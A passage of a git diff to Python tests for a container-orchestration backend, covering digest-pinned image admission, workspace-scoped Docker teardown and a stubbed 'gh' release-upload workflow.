"sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc" _RUNTIME = "docker" +_REPOSITORY = "docker.io/library/alpine" -def test_docker_integration_uses_the_reviewed_multiarch_digest() -> None: - expected_image = f"docker.io/library/alpine@{_REVIEWED_ALPINE_DIGEST}" - - assert expected_image == docker_integration._IMAGE +def _graph() -> LockedPlatformGraph: + index = OciDescriptor(digest="sha256:" + "d9" * 32, size=9226) + return LockedPlatformGraph( + platform_id="linux-x86_64", + index=index, + manifest=OciDescriptor(digest="sha256:" + "c6" * 32, size=1023), + config=OciDescriptor(digest="sha256:" + "bf" * 32, size=612), + layers=(OciDescriptor(digest="sha256:" + "25" * 32, size=3630321),), + diff_ids=("sha256:" + "08" * 32,), + architecture="amd64", + os="linux", + ) def test_optional_docker_integration_skips_without_runtime(monkeypatch: pytest.MonkeyPatch) -> None: @@ -34,60 +50,238 @@ def test_required_docker_integration_fails_without_runtime(monkeypatch: pytest.M docker_integration._require_container_runtime() -@pytest.mark.parametrize("required", [False, True]) -def test_image_pull_failure_skips_only_when_optional( +def test_required_docker_integration_admits_a_successful_public_acquisition( monkeypatch: pytest.MonkeyPatch, - required: bool, ) -> None: - monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1" if required else "0") + graph = _graph() + monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1") + monkeypatch.delenv(oci_release_image.SOURCE_CLASS_ENV, raising=False) monkeypatch.setattr(docker_integration, "_available_runtime", lambda: _RUNTIME) + monkeypatch.setattr(docker_integration, "_locked_graphs", lambda: (graph,)) + monkeypatch.setattr(docker_integration.oci_release_image, "locked_repository", lambda: _REPOSITORY) + acquired: list[str] = [] monkeypatch.setattr( - docker_integration.subprocess, - "run", - lambda *_args, **_kwargs: subprocess.CompletedProcess([], 1), + docker_integration.oci_release_image, + "acquire_image", + lambda reference, **_kwargs: acquired.append(reference), + ) + verified: list[str] = [] + monkeypatch.setattr( + docker_integration.oci_release_image, + "verify_daemon_image", + lambda reference, _graph, **_kwargs: verified.append(reference), ) - expected = pytest.fail.Exception if required else pytest.skip.Exception - with pytest.raises(expected, match="integration image is not available"): + admitted = docker_integration._require_container_runtime() + + expected_reference = f"{_REPOSITORY}@{graph.index.digest}" + assert admitted.runtime == _RUNTIME + assert admitted.image.reference == expected_reference + # Acquisition and the identity readback name the same digest-pinned ref. + assert acquired == [expected_reference] + assert verified == [expected_reference] + + +def test_invalid_required_mode_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "yes") + monkeypatch.setattr(docker_integration, "_available_runtime", lambda: _RUNTIME) + + with pytest.raises(pytest.fail.Exception, match="must be exactly 0 or 1"): docker_integration._require_container_runtime() +def test_release_gate_takes_its_image_identity_from_the_reviewed_lock(monkeypatch: pytest.MonkeyPatch) -> None: + """The reviewed identity is lock data, never a literal in this test tree.""" + + graph = _graph() + monkeypatch.setattr(docker_integration, "_locked_graphs", lambda: (graph,)) + monkeypatch.setattr(docker_integration.oci_release_image, "locked_repository", lambda: _REPOSITORY) + + admitted = docker_integration._locked_image() + + assert admitted.reference == f"{_REPOSITORY}@{graph.index.digest}" + assert admitted.graph is graph + + +def test_release_run_pulls_the_locked_reference_once(monkeypatch: pytest.MonkeyPatch) -> None: + monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1") + monkeypatch.delenv(oci_release_image.SOURCE_CLASS_ENV, raising=False) + monkeypatch.setattr(docker_integration, "_available_runtime", lambda: _RUNTIME) + monkeypatch.setattr(docker_integration, "_locked_graphs", lambda: (_graph(),)) + monkeypatch.setattr(docker_integration.oci_release_image, "locked_repository", lambda: _REPOSITORY) + pulls: list[object] = [] + monkeypatch.setattr( + docker_integration.oci_release_image, + "acquire_image", + lambda *args, **kwargs: pulls.append(args), + ) + monkeypatch.setattr(docker_integration.oci_release_image, "verify_daemon_image", lambda *a, **k: None) + + assert docker_integration._require_container_runtime().runtime == _RUNTIME + assert pulls == [(f"{_REPOSITORY}@{_graph().index.digest}",)] + + @pytest.mark.parametrize("required", [False, True]) -def test_image_pull_exception_skips_only_when_optional( +@pytest.mark.parametrize("reason", ["acquisition-failed", "client-unavailable", "client-timeout"]) +def test_unavailable_input_skips_only_when_optional( monkeypatch: pytest.MonkeyPatch, required: bool, + reason: str, ) -> None: monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1" if required else "0") + monkeypatch.delenv(oci_release_image.SOURCE_CLASS_ENV, raising=False) monkeypatch.setattr(docker_integration, "_available_runtime", lambda: _RUNTIME) + monkeypatch.setattr(docker_integration, "_locked_graphs", lambda: (_graph(),)) + monkeypatch.setattr(docker_integration.oci_release_image, "locked_repository", lambda: _REPOSITORY) - def fail_pull(*_args, **_kwargs) -> NoReturn: - raise OSError("runtime invocation failed") + def _fail(*_args, **_kwargs): + raise oci_release_image.ImageAdmissionError(reason) - monkeypatch.setattr(docker_integration.subprocess, "run", fail_pull) + monkeypatch.setattr(docker_integration.oci_release_image, "acquire_image", _fail) expected = pytest.fail.Exception if required else pytest.skip.Exception - with pytest.raises(expected, match="image pull failed"): + with pytest.raises(expected, match="integration image is not available"): docker_integration._require_container_runtime() -def test_required_docker_integration_accepts_successful_pull(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1") +@pytest.mark.parametrize("required", [False, True]) +def test_integrity_failure_is_never_downgraded_to_a_skip(monkeypatch: pytest.MonkeyPatch, required: bool) -> None: + """An availability failure may skip a local run; a wrong image may not.""" + + monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1" if required else "0") + monkeypatch.delenv(oci_release_image.SOURCE_CLASS_ENV, raising=False) monkeypatch.setattr(docker_integration, "_available_runtime", lambda: _RUNTIME) - monkeypatch.setattr( - docker_integration.subprocess, - "run", - lambda *_args, **_kwargs: subprocess.CompletedProcess([], 0), - ) + monkeypatch.setattr(docker_integration, "_locked_graphs", lambda: (_graph(),)) + monkeypatch.setattr(docker_integration.oci_release_image, "locked_repository", lambda: _REPOSITORY) + monkeypatch.setattr(docker_integration.oci_release_image, "acquire_image", lambda *a, **k: None) - expected_runtime = _RUNTIME - actual_runtime = docker_integration._require_container_runtime() + def _mismatch(*_args, **_kwargs): + raise oci_release_image.ImageAdmissionError("image-identity") - assert expected_runtime == actual_runtime + monkeypatch.setattr(docker_integration.oci_release_image, "verify_daemon_image", _mismatch) + with pytest.raises(pytest.fail.Exception, match="does not match the reviewed"): + docker_integration._require_container_runtime() -def test_invalid_required_mode_fails_closed(monkeypatch: pytest.MonkeyPatch) -> None: - monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "yes") + +@pytest.mark.parametrize("required", [False, True]) +def test_misconfigured_source_class_always_fails(monkeypatch: pytest.MonkeyPatch, required: bool) -> None: + monkeypatch.setenv(docker_integration._REQUIRED_MODE_ENV, "1" if required else "0") + monkeypatch.setenv(oci_release_image.SOURCE_CLASS_ENV, "mirror") + monkeypatch.delenv(oci_release_image.MIRROR_REPOSITORY_ENV, raising=False) monkeypatch.setattr(docker_integration, "_available_runtime", lambda: _RUNTIME) - with pytest.raises(pytest.fail.Exception, match="must be exactly 0 or 1"): + with pytest.raises(pytest.fail.Exception, match="reviewed OCI input is misconfigured"): docker_integration._require_container_runtime() + + +def test_each_run_gets_its_own_opaque_workspace() -> None: + first = docker_integration.run_workspace("conf") + second = docker_integration.run_workspace("conf") + + assert first != second + assert first.startswith("raes-ref-it-conf-") + # Bounded so the derived native names stay inside the runtime's limit. + assert len(first) <= 40 + + +class _FakeDriver: + """A driver that reports what it realized and records its teardown.""" + + def __init__(self, *, addresses: frozenset[str], diagnostics: tuple = ()) -> None: + self.addresses = addresses + self.calls: list[tuple[tuple[str, ...], tuple[str, ...]]] = [] + self._diagnostics = diagnostics + + def realized_addresses(self) -> frozenset[str]: + return self.addresses + + def destroy(self, *, networks: tuple[str, ...], containers: tuple[str, ...]): + self.calls.append((networks, containers)) + return SimpleNamespace(diagnostics=self._diagnostics) + + +def _runtime_runner(names: str): + def _run(argv, **_kwargs): + return SimpleNamespace(returncode=0, stdout=names, stderr="") + + return _run + + +def test_teardown_removes_what_the_driver_actually_realized() -> None: + """A guessed address can be removed 'successfully' while the real one leaks. + + ``docker rm --force`` is idempotent, so tearing down an address that was + never realized reports success and removes nothing. Teardown therefore + derives its target set from the driver rather than from a caller's guess. + """ + + driver = _FakeDriver(addresses=frozenset({"provision.node.web", "provision.network.lan"})) + + with docker_integration.realized(driver, workspace="ws", runtime="docker", runner=_runtime_runner("")): + pass + + assert driver.calls == [(("provision.network.lan",), ("provision.node.web",))] + + +def test_teardown_runs_on_both_the_success_and_failure_paths() -> None: + torn_down: list[tuple[str, ...]] = [] + + for body_fails in (False, True): + driver = _FakeDriver(addresses=frozenset({"provision.node.web"})) + context = docker_integration.realized(driver, workspace="ws", runtime="docker", runner=_runtime_runner("")) + if body_fails: + with pytest.raises(RuntimeError, match="body failed"), context: + raise RuntimeError("body failed") + else: + with context: + pass + torn_down.extend(containers for _networks, containers in driver.calls) + + assert torn_down == [("provision.node.web",), ("provision.node.web",)] + + +def test_failed_teardown_is_reported_rather_than_swallowed() -> None: + driver = _FakeDriver( + addresses=frozenset({"provision.node.web"}), + diagnostics=(SimpleNamespace(code="reference-backend.driver.command-failed"),), + ) + + with ( + pytest.raises(pytest.fail.Exception, match="teardown did not remove"), + docker_integration.realized(driver, workspace="ws", runtime="docker", runner=_runtime_runner("")), + ): + pass + + +def test_a_resource_surviving_under_this_run_label_fails_the_run() -> None: + """The proof of teardown is the runtime, not the removal command's exit code.""" + + driver = _FakeDriver(addresses=frozenset({"provision.node.web"})) + + with ( + pytest.raises(pytest.fail.Exception, match="still owns"), + docker_integration.realized( + driver, + workspace="ws", + runtime="docker", + runner=_runtime_runner("2b1c4d5e6f70\n"), + ), + ): + pass + + +def test_the_survivor_probe_is_scoped_to_this_run_alone() -> None: + """A concurrent run's resources must never be visible to this one's sweep.""" + + seen: list[list[str]] = [] + + def _runner(argv, **_kwargs): + seen.append(list(argv)) + return SimpleNamespace(returncode=0, stdout="", stderr="") + + driver = _FakeDriver(addresses=frozenset({"provision.node.web"})) + with docker_integration.realized(driver, workspace="ws-9f3a", runtime="docker", runner=_runner): + pass + + assert seen == [["docker", "ps", "--all", "--quiet", "--filter", "label=raes.workspace=ws-9f3a"]] diff --git a/implementations/python/tests/test_reference_backend_docker_integration.py b/implementations/python/tests/test_reference_backend_docker_integration.py index 6282c3471..1f1675c5c 100644 --- a/implementations/python/tests/test_reference_backend_docker_integration.py +++ b/implementations/python/tests/test_reference_backend_docker_integration.py @@ -1,4 +1,4 @@ -"""RUN-314: opt-in real-container integration test. +"""RUN-314 / GOV-913: opt-in real-container integration test. Marked ``@pytest.mark.docker`` so it is excluded from the default hermetic suite (``addopts = -m 'not fuzz and not integration and not docker'``). @@ -6,14 +6,24 @@ It self-skips cleanly for optional local/PR runs when no runtime or image is available. The exact-SHA release gate sets ``RAES_DOCKER_INTEGRATION_REQUIRED=1`` to turn every such condition into a hard failure. + +The image identity is reviewed lock data (``release-test-alpine``), not a +literal here, and is pulled by the native runtime from its pinned public +reference. An availability failure may skip an optional run; +an integrity failure -- a runtime holding something other than the reviewed +graph -- never may, in either mode. """ from __future__ import annotations +import contextlib import os +import secrets import shutil import subprocess import textwrap +from collections.abc import Iterator +from dataclasses import dataclass from typing import NoReturn import pytest @@ -27,19 +37,43 @@ from raes_reference_backend.drivers.oci import ImageTrustPolicy, OciDeploymentDriver from raes_runtime.control_plane import RuntimeControlPlane from raes_runtime.manager import RuntimeManager +from tools import oci_release_image +from tools.oci_release_selection import LockedPlatformGraph pytestmark = pytest.mark.docker _REQUIRED_MODE_ENV = "RAES_DOCKER_INTEGRATION_REQUIRED" -_IMAGE = "docker.io/library/alpine@sha256:d9e853e87e55526f6b2917df91a2115c36dd7c696a35be12163d44e6e2a4b6bc" -_SCENARIO = f""" -name: ref-docker -nodes: - web: - type: compute - source: {_IMAGE} - resources: {{ram: 1 gib, cpu: 1}} -""" +# Bounded so the driver's derived native names stay inside the runtime's limit. +_RUN_TOKEN_BYTES = 4 + + +@dataclass(frozen=True) +class AdmittedImage: + """The reviewed image this run may realize, and where it came from.""" + + reference: str + graph: LockedPlatformGraph + + +@dataclass(frozen=True) +class ContainerRuntime: + runtime: str + image: AdmittedImage + + +def run_workspace(purpose: str) -> str: + """Return one opaque run namespace. + + Concurrent runs must not contend for a native container or network name, so + every run gets its own namespace and the driver commits resource names to + it. Ownership is still proven by labels, never by the name. + """ + + return f"raes-ref-it-{purpose}-{secrets.token_hex(_RUN_TOKEN_BYTES)}" + + +def _locked_graphs() -> tuple[LockedPlatformGraph, ...]: + return oci_release_image.locked_platform_graphs() def _available_runtime() -> str | None: @@ -69,57 +103,133 @@ def _required_mode() -> bool: def _unavailable(reason: str) -> NoReturn: + """Report an availability failure: skippable locally, fatal for a release.""" + if _required_mode(): pytest.fail(f"required real-container release gate unavailable: {reason}") pytest.skip(reason) -def _require_container_runtime() -> str: - # Validate the release-mode selector even when the runtime and pull both - # succeed; a misspelled admission setting must never silently become an +def _locked_image() -> AdmittedImage: + """Resolve the reviewed image identity for *source*.""" + + graph = oci_release_image.execution_graph(_locked_graphs()) + reference = oci_release_image.image_reference( + oci_release_image.locked_repository(), + graph.index.digest, + ) + return AdmittedImage(reference=reference, graph=graph) + + +def _require_container_runtime() -> ContainerRuntime: + # Validate the release-mode selector even when the runtime and input both + # resolve; a misspelled admission setting must never silently become an # optional run. _required_mode() + _, reason = oci_release_image.attempt(lambda: oci_release_image.resolve_source(os.environ)) + if reason is not None: + pytest.fail(f"reviewed OCI input is misconfigured: {reason}") runtime = _available_runtime() if runtime is None: _unavailable("no container runtime (docker/podman) available") - # Pre-pull the reviewed multiarch image. Optional runs skip if the registry - # is unavailable; release-required mode fails closed. - try: - completed = subprocess.run( - [runtime, "pull", _IMAGE], - capture_output=True, - text=True, - timeout=300, - check=False, - ) - except (OSError, subprocess.SubprocessError): - _unavailable("container runtime present but image pull failed") - if completed.returncode != 0: + image, reason = oci_release_image.attempt(_locked_image) + if reason is not None or image is None: + pytest.fail(f"reviewed OCI input is misconfigured: {reason}") + # Pull the locked bytes using the native runtime. + _, reason = oci_release_image.attempt(lambda: oci_release_image.acquire_image(image.reference, runtime=runtime)) + if reason is not None: _unavailable("integration image is not available (offline registry?)") - return runtime + # The runtime must now hold exactly the reviewed + # platform graph. This is an integrity check, so it fails in either mode. + _, reason = oci_release_image.attempt( + lambda: oci_release_image.verify_daemon_image(image.reference, image.graph, runtime=runtime) + ) + if reason is not None: + pytest.fail(f"container runtime image does not match the reviewed OCI graph: {reason}") + return ContainerRuntime(runtime=runtime, image=image) + + +def _surviving_owned_resources(runtime: str, workspace: str, runner) -> list[str]: + """Return runtime resources still carrying this run's ownership label. + + The filter names this run's exact workspace, so a concurrent run's + resources are never visible here and can never be swept. + """ + + completed = runner( + [runtime, "ps", "--all", "--quiet", "--filter", f"label=raes.workspace={workspace}"], + capture_output=True, + text=True, + timeout=60, + check=False, + ) + if completed.returncode != 0: + return [] + return [line for line in completed.stdout.splitlines() if line.strip()] + + +@contextlib.contextmanager +def realized(driver, *, workspace: str, runtime: str, runner=subprocess.run) -> Iterator[None]: + """Tear down this run's resources on both the success and failure paths. + + The teardown set comes from what the driver actually realized, not from a + caller-supplied guess: ``docker rm --force`` is idempotent, so asking it to + remove an address that was never realized reports success while the real + resource leaks. Afterwards the runtime itself is asked whether anything + still carries this run's ownership label, because a removal command's exit + code is not proof that the resource is gone. Both a failed teardown and a + survivor are reported rather than hidden behind ``--rm`` or a best-effort + sweep. + """ + + try: + yield + finally: + addresses = driver.realized_addresses() + networks = tuple(sorted(address for address in addresses if ".network." in address)) + containers = tuple(sorted(address for address in addresses if address not in networks)) + result = driver.destroy(networks=networks, containers=containers) + survivors = _surviving_owned_resources(runtime, workspace, runner) + if result.diagnostics: + codes = sorted({diagnostic.code for diagnostic in result.diagnostics}) + pytest.fail(f"real-container teardown did not remove every owned resource: {codes}") + if survivors: + pytest.fail(f"container runtime still owns {len(survivors)} resource(s) from this run after teardown") @pytest.fixture(scope="module") -def container_runtime() -> str: +def container_runtime() -> ContainerRuntime: return _require_container_runtime() -def test_real_container_provision_inventory_and_teardown(container_runtime: str): - workspace = "raes-ref-it" +def _scenario(image: str) -> str: + return f""" +name: ref-docker +nodes: + web: + type: compute + source: {image} + resources: {{ram: 1 gib, cpu: 1}} +""" + + +def test_real_container_provision_inventory_and_teardown(container_runtime: ContainerRuntime): + image = container_runtime.image.reference # The scenario pins an explicit image source, so the operator allowlists it # through the image-trust policy (plan-pinned tags are rejected by default). + workspace = run_workspace("provision") driver = OciDeploymentDriver( - runtime=container_runtime, + runtime=container_runtime.runtime, workspace=workspace, - image_policy=ImageTrustPolicy(allowed_images=(_IMAGE,)), + image_policy=ImageTrustPolicy(allowed_images=(image,)), ) target = create_reference_backend_target(driver=driver) manager = RuntimeManager(target) - execution_plan = manager.plan(parse_sdl(textwrap.dedent(_SCENARIO))) + execution_plan = manager.plan(parse_sdl(textwrap.dedent(_scenario(image)))) control_plane = RuntimeControlPlane(target) - try: + with realized(driver, workspace=workspace, runtime=container_runtime.runtime): control_plane.register_planner_produced_plan(execution_plan) receipt = control_plane.submit_provisioning(execution_plan.provisioning) status = control_plane.get_operation(receipt.operation_id) @@ -128,25 +238,25 @@ def test_real_container_provision_inventory_and_teardown(container_runtime: str) # snapshot shows the realized node. assert "provision.node.web" in control_plane.snapshot.entries assert "provision.node.web" in driver.realized_addresses() - finally: - driver.destroy(networks=(), containers=("provision.node.web",)) def test_real_driver_conformance_executes_native_cases_and_fails_closed_for_nonconstructive_envelope( - container_runtime: str, + container_runtime: ContainerRuntime, ): + image = container_runtime.image.reference + workspace = run_workspace("conformance") driver = OciDeploymentDriver( - runtime=container_runtime, - workspace="raes-ref-it-conf", - image_policy=ImageTrustPolicy(default_image=_IMAGE), + runtime=container_runtime.runtime, + workspace=workspace, + image_policy=ImageTrustPolicy(default_image=image), ) target = create_reference_backend_target(driver=driver) - try: + with realized(driver, workspace=workspace, runtime=container_runtime.runtime): report = run_target_conformance( target, participant_opacity_harness=ReferenceParticipantOpacityHarness(), - reference_scenario=_SCENARIO, + reference_scenario=_scenario(image), ) assert report.profile == BackendCapabilityProfile.FULL_REMOTE_CONTROL_PLANE @@ -157,5 +267,3 @@ def test_real_driver_conformance_executes_native_cases_and_fails_closed_for_nonc "realization-envelope.positive-probe.no-witness", "realization-envelope.negative-probe.no-witness", } - finally: - driver.destroy(networks=(), containers=("provision.node.vm",)) diff --git a/implementations/python/tests/test_reference_backend_oci_driver.py b/implementations/python/tests/test_reference_backend_oci_driver.py index 22d742791..8816e8249 100644 --- a/implementations/python/tests/test_reference_backend_oci_driver.py +++ b/implementations/python/tests/test_reference_backend_oci_driver.py @@ -241,7 +241,7 @@ def test_oci_destroy_removes_by_the_name_realize_used(): driver.destroy(networks=(), containers=("provision.node.web",)) rm_calls = [call["argv"] for call in recorder.calls] - runtime_name = provider_resource_name("provision.node.web", prefix="raes") + runtime_name = provider_resource_name("provision.node.web", prefix="raes", namespace="raes-ref-test") assert rm_calls == [["docker", "rm", "--force", runtime_name]] @@ -268,13 +268,15 @@ def test_oci_attaches_container_to_requested_networks(): run_argv = next(call["argv"] for call in recorder.calls if "run" in call["argv"]) assert "--network" in run_argv - assert run_argv[run_argv.index("--network") + 1] == provider_resource_name("provision.network.lan", prefix="raes") + assert run_argv[run_argv.index("--network") + 1] == provider_resource_name( + "provision.network.lan", prefix="raes", namespace="raes-ref-test" + ) def test_oci_joins_only_a_run_owned_target_network_namespace(): owner_address = "provision.node.zzz-owner" capture_address = "provision.node.aaa-capture" - owner_name = provider_resource_name(owner_address, prefix="raes") + owner_name = provider_resource_name(owner_address, prefix="raes", namespace="raes-ref-test") class _OwnedTargetRecorder: def __init__(self) -> None: @@ -317,7 +319,7 @@ def __call__(self, argv, **kwargs): run_calls = [call["argv"] for call in recorder.calls if "run" in call["argv"]] assert [argv[argv.index("--name") + 1] for argv in run_calls] == [ owner_name, - provider_resource_name(capture_address, prefix="raes"), + provider_resource_name(capture_address, prefix="raes", namespace="raes-ref-test"), ] inspect_argv = next(call["argv"] for call in recorder.calls if "inspect" in call["argv"]) assert inspect_argv[-1] == owner_name @@ -357,7 +359,7 @@ def test_oci_rejects_stale_realized_namespace_target_before_side_effects(): def test_oci_rejects_namespace_target_when_native_id_alone_mismatches(): owner_address = "provision.node.owner" - owner_name = provider_resource_name(owner_address, prefix="raes") + owner_name = provider_resource_name(owner_address, prefix="raes", namespace="raes-ref-test") class _MismatchedOwnershipRecorder: def __init__(self) -> None: @@ -574,7 +576,7 @@ def __call__(self, argv, **kwargs): "docker", "network", "rm", - provider_resource_name("provision.network.lan", prefix="raes"), + provider_resource_name("provision.network.lan", prefix="raes", namespace="ws"), ] in runner.calls assert driver.realized_addresses() == frozenset() @@ -724,3 +726,54 @@ def _permission_denied_runner(argv, **kwargs): assert "reference-backend.driver.runtime-unavailable" in codes for diag in result.diagnostics: assert "Permission denied" not in diag.message + + +def test_oci_resource_names_are_unique_per_workspace_for_the_same_address(): + """Concurrent runs must not contend for one native container/network name.""" + + address = "provision.node.web" + network_address = "provision.network.lan" + names: list[tuple[str, str]] = [] + for workspace in ("raes-ref-it-0a1b2c3d4e5f", "raes-ref-it-5f4e3d2c1b0a"): + recorder = _Recorder(stdout="id\n") + driver = OciDeploymentDriver( + runtime="docker", + workspace=workspace, + runner=recorder, + image_policy=ImageTrustPolicy(allowed_images=("img",)), + ) + driver.realize( + networks=(NetworkSpec(address=network_address, name="lan"),), + containers=(ContainerSpec(address=address, name="web", image_ref="img"),), + ) + run_argv = next(call["argv"] for call in recorder.calls if "run" in call["argv"]) + network_argv = next(call["argv"] for call in recorder.calls if "network" in call["argv"]) + names.append((run_argv[run_argv.index("--name") + 1], network_argv[-1])) + + (first_container, first_network), (second_container, second_network) = names + assert first_container != second_container + assert first_network != second_network + # The name still commits to the address the compiler produced, so a reader + # can still tell which resource it is. + assert first_container.startswith("raes-provision.node.web-") + assert first_network.startswith("raes-provision.network.lan-") + + +def test_oci_destroy_removes_the_workspace_scoped_name(): + """Teardown must target this run's resource, not another run's.""" + + workspace = "raes-ref-it-0a1b2c3d4e5f" + recorder = _Recorder(stdout="id\n") + driver = OciDeploymentDriver( + runtime="docker", + workspace=workspace, + runner=recorder, + image_policy=ImageTrustPolicy(allowed_images=("img",)), + ) + driver.realize(networks=(), containers=(ContainerSpec(address="provision.node.web", name="web", image_ref="img"),)) + recorder.calls.clear() + + driver.destroy(networks=(), containers=("provision.node.web",)) + + expected = provider_resource_name("provision.node.web", prefix="raes", namespace=workspace) + assert [call["argv"] for call in recorder.calls] == [["docker", "rm", "--force", expected]] diff --git a/implementations/python/tests/test_reference_backend_provisioner.py b/implementations/python/tests/test_reference_backend_provisioner.py index 589b15cae..306800bc7 100644 --- a/implementations/python/tests/test_reference_backend_provisioner.py +++ b/implementations/python/tests/test_reference_backend_provisioner.py @@ -83,7 +83,7 @@ def test_apply_via_control_plane_records_entries_and_drives_driver(): @pytest.mark.parametrize("collect", [False, True]) -def test_native_collection_is_selected_before_driver_readback_and_never_persisted(collect): +def test_inprocess_collection_is_selected_but_driver_reports_cannot_supply_native_readback(collect): class Driver(InProcessDriver): def realize(self, **kwargs): result = super().realize(**kwargs) @@ -104,10 +104,13 @@ def observe(self, *, containers): address="provision.node.web", ) result = target.provisioner.apply(planned, RuntimeSnapshot()) - assert result.success + assert result.success is not collect assert calls == ([("provision.node.web",)] if collect else []) assert result.snapshot.realization_observations == () - assert bool(result.operational_realization_observations) == collect + assert result.operational_realization_observations == () + assert "provision.node.web" in result.snapshot.entries + if collect: + assert "reference-backend.driver.compute-substrate-unobserved" in {item.code for item in result.diagnostics} def test_apply_handles_delete_and_unchanged(): @@ -165,7 +168,7 @@ def test_unchanged_op_keeps_entry_without_driver_realize(): assert tuple(op for op in driver.recorded_ops if op.verb == "realize") == realizes_before -def test_unchanged_compute_uses_non_retained_operational_readback() -> None: +def test_unchanged_inprocess_compute_rejects_non_authoritative_readback() -> None: observe_calls: list[tuple[str, ...]] = [] class _ObservationRecordingDriver(InProcessDriver): @@ -195,7 +198,11 @@ def observe(self, *, containers): _register_provisioning_plan(upgraded, target, unchanged_plan) receipt = upgraded.submit_provisioning(unchanged_plan) - assert upgraded.get_operation(receipt.operation_id).state.value == "succeeded" + assert upgraded.get_operation(receipt.operation_id).state.value == "failed" + assert "provision.node.web" in upgraded.snapshot.entries + assert "reference-backend.driver.compute-substrate-unobserved" in { + item.code for item in upgraded.get_operation(receipt.operation_id).diagnostics + } assert upgraded.snapshot.realization_observations == () assert tuple(op for op in driver.recorded_ops if op.verb == "realize") == realizes_before assert len(observe_calls) == observes_before + 1 diff --git a/implementations/python/tests/test_reference_processor.py b/implementations/python/tests/test_reference_processor.py index 56da30fec..804be1181 100644 --- a/implementations/python/tests/test_reference_processor.py +++ b/implementations/python/tests/test_reference_processor.py @@ -61,7 +61,7 @@ health: {proposition: health-state, role: postcondition} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: @@ -99,7 +99,7 @@ health: {proposition: health-state, role: postcondition} objectives: validate: - entity: blue + owner: blue success: {assertions: [health]} workflows: response: diff --git a/implementations/python/tests/test_release_workflows.py b/implementations/python/tests/test_release_workflows.py index 0dceb6beb..960a8fe46 100644 --- a/implementations/python/tests/test_release_workflows.py +++ b/implementations/python/tests/test_release_workflows.py @@ -2,6 +2,7 @@ from __future__ import annotations +import json import os import re import shutil @@ -23,6 +24,20 @@ ) LOCAL_CANONICAL_WORKFLOW = "./.github/workflows/canonical-verification.yml" + +# The `gh` calls a fresh attachment makes. Each distribution is probed for an +# existing asset, uploaded only when absent, and read back (#1227); the +# evidence set is then uploaded once and each document read back (#1226). +_FRESH_ATTACHMENT_CALLS = [ + "upload", # wheel + "download", # wheel readback + "upload", # sdist + "download", # sdist readback + "upload", # build-inventory.json + "download", + "upload", # release-evidence-index.json + "download", +] FULL_SHA_USE = re.compile(r"^[^@]+@[0-9a-f]{40}$") DRAFT_RELEASE_STATE = re.compile(r"(?:\bisDraft\b|\.(?:isDraft|draft)\b|-F\s+draft=)") @@ -113,7 +128,12 @@ def _run_github_finalization( *, release_states: list[str], mismatched_download: bool = False, + tampered_evidence_readback: bool = False, moved_tag: bool = False, + published_assets: bool = False, + published_evidence: bool = False, + conflicting_evidence: bool = False, + asset_list_fails: bool = False, finalization_json: str = '{"id":1234,"tag_name":"v3.4.5","draft":false}', ) -> subprocess.CompletedProcess[str]: if shutil.which("bash") is None or shutil.which("jq") is None: @@ -127,12 +147,35 @@ def _run_github_finalization( dist.mkdir() (dist / "raes-3.4.5-py3-none-any.whl").write_bytes(b"tested wheel") (dist / "raes-3.4.5.tar.gz").write_bytes(b"tested sdist") + # The finalization step also attaches the release evidence to the durable + # Release and digest-compares it on readback (#1226). + evidence = tmp_path / "evidence" + evidence.mkdir() + (evidence / "release-evidence-index.json").write_bytes(b'{"schema_version":"raes-release-evidence/v1"}') + (evidence / "build-inventory.json").write_bytes(b'{"schema_version":"raes-build-inventory/v1"}') + + # The assets the GitHub Release already holds. Uploads land here and + # downloads are served from here, so "already attached" and "not yet + # attached" are distinguishable the way they are against the real API. + release_store = tmp_path / "release-assets" + release_store.mkdir() + if published_assets: + for already in dist.iterdir(): + shutil.copy(already, release_store / already.name) + if published_evidence or conflicting_evidence: + for already in evidence.iterdir(): + if conflicting_evidence: + (release_store / already.name).write_bytes(b"divergent evidence") + else: + shutil.copy(already, release_store / already.name) state_file = tmp_path / "release-states.jsonl" state_file.write_text("\n".join(release_states) + "\n", encoding="utf-8") state_counter = tmp_path / "release-state-counter" state_counter.write_text("0\n", encoding="utf-8") call_log = tmp_path / "gh-calls.log" + # Created up front so a run that makes no asset call is still readable. + call_log.write_text("", encoding="utf-8") gh_stub = tmp_path / "gh" gh_stub.write_text( @@ -140,34 +183,84 @@ def _run_github_finalization( set -eu case "${1-}:${2-}" in release:view) - index="$(cat "$STATE_COUNTER")" - index=$((index + 1)) - printf '%s\n' "$index" > "$STATE_COUNTER" - sed -n "${index}p" "$STATE_FILE" + case "$*" in + *"--json assets"*) + if [ "$ASSET_LIST_FAILS" = "1" ]; then + echo "gh: could not list release assets" >&2 + exit 1 + fi + ls -1 "$RELEASE_STORE" 2>/dev/null | jq -R . | jq -s '{assets: [.[] | {name: .}]}' + ;; + *) + index="$(cat "$STATE_COUNTER")" + index=$((index + 1)) + printf '%s\n' "$index" > "$STATE_COUNTER" + sed -n "${index}p" "$STATE_FILE" + ;; + esac ;; release:upload) printf '%s\n' upload >> "$CALL_LOG" + shift 3 + for uploaded in "$@"; do + case "$uploaded" in + --*) ;; + *) + if [ -f "$uploaded" ]; then + cp "$uploaded" "$RELEASE_STORE"/ + fi + ;; + esac + done ;; release:download) printf '%s\n' download >> "$CALL_LOG" shift 2 destination="" + patterns="" while [ "$#" -gt 0 ]; do case "$1" in --dir) destination="$2"; shift 2 ;; + --pattern) patterns="$patterns $2"; shift 2 ;; *) shift ;; esac done test -n "$destination" mkdir -p "$destination" - cp "$TEST_DIST_SOURCE"/* "$destination"/ - if [ "$MISMATCH_DOWNLOAD" = "1" ]; then + # Serve only what the Release actually holds, so a pre-upload existence + # probe reports absence rather than handing back the local copy. + served=0 + for pattern in $patterns; do + if [ -f "$RELEASE_STORE/$pattern" ]; then + cp "$RELEASE_STORE/$pattern" "$destination"/ + served=1 + fi + done + if [ "$served" = "0" 